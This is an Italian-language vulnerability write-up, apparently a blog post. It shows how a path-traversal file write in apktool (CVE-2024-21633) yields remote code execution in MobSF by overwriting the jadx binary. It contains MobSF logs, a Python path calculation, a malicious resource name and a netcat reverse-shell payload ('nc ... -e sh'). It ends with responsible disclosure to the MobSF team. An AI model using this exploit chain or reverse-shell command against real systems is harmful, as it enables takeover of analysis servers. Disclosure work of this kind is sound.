
MobSF Esecuzione di codice remoto (tramite CVE-2024-21633)
Ho trovato una scrittura arbitraria di file in apktool e l'ho segnalata tramite avviso di sicurezza GitHub. Ero consapevole che molti progetti si affidavano o dipendevano da apktool ma dopo la pubblicazione dell'avviso e la correzione non molti sembravano averlo notato o se ne preoccupavano. Ho deciso di verificare l'impatto e la sfruttabilità in alcuni dei grandi dipendenti, e ho iniziato con MobSF.
La vulnerabilità ci consente di scrivere qualsiasi cosa in un percorso relativo a "${decode target path}/res/", il maggiore impatto sarebbe ottenere un RCE. Ma c'è un problema: il file scritto non è un eseguibile.
Avevo in mente queste 2 idee prima di immergermi:
Ma cosa succede se siamo abbastanza fortunati da avere un'app che modifica i permessi di un file rendendolo eseguibile? E ancora più fortunati se lo esegue successivamente? E tutto deve accadere dopo l'esecuzione di apktool. Questa è esattamente la situazione con MobSF. MobSF usa jadx come parte della sua analisi statica, lo chiama tramite subprocess, ma subito prima modifica il permesso di jadx rendendolo eseguibile.
Estratto del log dove apktool, chmod e jadx sono chiamati rispettivamente:
[INFO] 07/Jan/2024 20:44:16 - Getting AndroidManifest.xml from APK
[INFO] 07/Jan/2024 20:44:16 - Converting AXML to XML
[INFO] 07/Jan/2024 20:44:16 - executed command: /jdk-20.0.2/bin/java -jar -Djdk.util.zip.disableZip64ExtraFieldValidation=true /home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/apktool_2.9.1.jar --match-original --frame-path /tmp -f -s d /home/mobsf/.MobSF/uploads/6cae29cb89b3aac3890c1d4d21fcc756/6cae29cb89b3aac3890c1d4d21fcc756.apk -o /home/mobsf/.MobSF/uploads/6cae29cb89b3aac3890c1d4d21fcc756/apktool_out
.
.
.
[INFO] 07/Jan/2024 20:44:20 - Decompiling to Java with jadx
[INFO] 07/Jan/2024 20:44:20 - executed command: chmod +x /home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx
[INFO] 07/Jan/2024 20:44:20 - executed command: /home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx -ds /home/mobsf/.MobSF/uploads/6cae29cb89b3aac3890c1d4d21fcc756/java_source/ -q -r --show-bad-code /home/mobsf/.MobSF/uploads/6cae29cb89b3aac3890c1d4d21fcc756/6cae29cb89b3aac3890c1d4d21fcc756.apk
Useremo jadx come target, ma abbiamo bisogno del percorso relativo di jadx rispetto alla cartella res. Possiamo ottenerlo usando os.path.relpath() nella funzione Python.
La nostra cartella base delle risorse è "/home/mobsf/.MobSF/uploads/680b420ade61b64ce7c024a2ed6bc94d/apktool_out/"
Vogliamo sovrascrivere il binario jadx al percorso: "/home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx"
import os
jadx_path = "/home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx"
res_base_path = "/home/mobsf/.MobSF/uploads/680b420ade61b64ce7c024a2ed6bc94d/apktool_out/res"
os.path.relpath(jadx_path, res_base_path)
>>> '../../../../Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx'
Il nostro payload sarà in res/raw/jadx
#!/bin/bash
nc host.docker.internal 9001 -e sh
Il nome della risorsa sarà "../../../../Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx"
Carica l'apk e attendi che jadx venga eseguito, otterremo una shell sul nostro listener nc.
Bingo!

Ho poi segnalato questo al team MobSF via email, ho ricevuto una risposta tempestiva e hanno corretto aggiornando a una versione più recente di apktool, ma il comportamento di rendere jadx eseguibile e poi eseguirlo è ancora presente. Avrei preferito che i permessi fossero impostati in anticipo e che la directory rimanesse non scrivibile.
Seguimi per altri contenuti! @0x33c0unt